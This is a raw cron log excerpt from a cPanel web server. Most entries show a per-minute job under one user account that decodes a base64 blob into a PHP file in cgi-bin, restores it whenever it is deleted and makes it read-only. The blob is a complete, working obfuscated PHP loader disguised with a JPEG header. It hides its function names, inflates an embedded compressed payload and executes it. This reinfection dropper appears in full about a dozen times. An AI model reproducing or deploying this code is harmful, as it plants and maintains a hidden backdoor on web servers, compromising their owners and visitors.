Nov 11 10:44:01 server CROND[28912]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:45:01 server CROND[29410]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 10:45:01 server CROND[29411]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 10:45:01 server CROND[29412]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:46:01 server CROND[30096]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:47:01 server CROND[31008]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:48:01 server CROND[32015]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:49:01 server CROND[392]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:50:01 server CROND[900]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 10:50:01 server CROND[901]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 10:50:01 server CROND[905]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:50:01 server CROND[903]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 10:50:01 server CROND[904]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 10:51:01 server CROND[1752]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:52:01 server CROND[2580]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:53:01 server CROND[3501]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:54:01 server CROND[4279]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:55:01 server CROND[4948]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 10:55:01 server CROND[4949]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:55:01 server CROND[4950]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 10:56:01 server CROND[5830]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:57:01 server CROND[6663]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
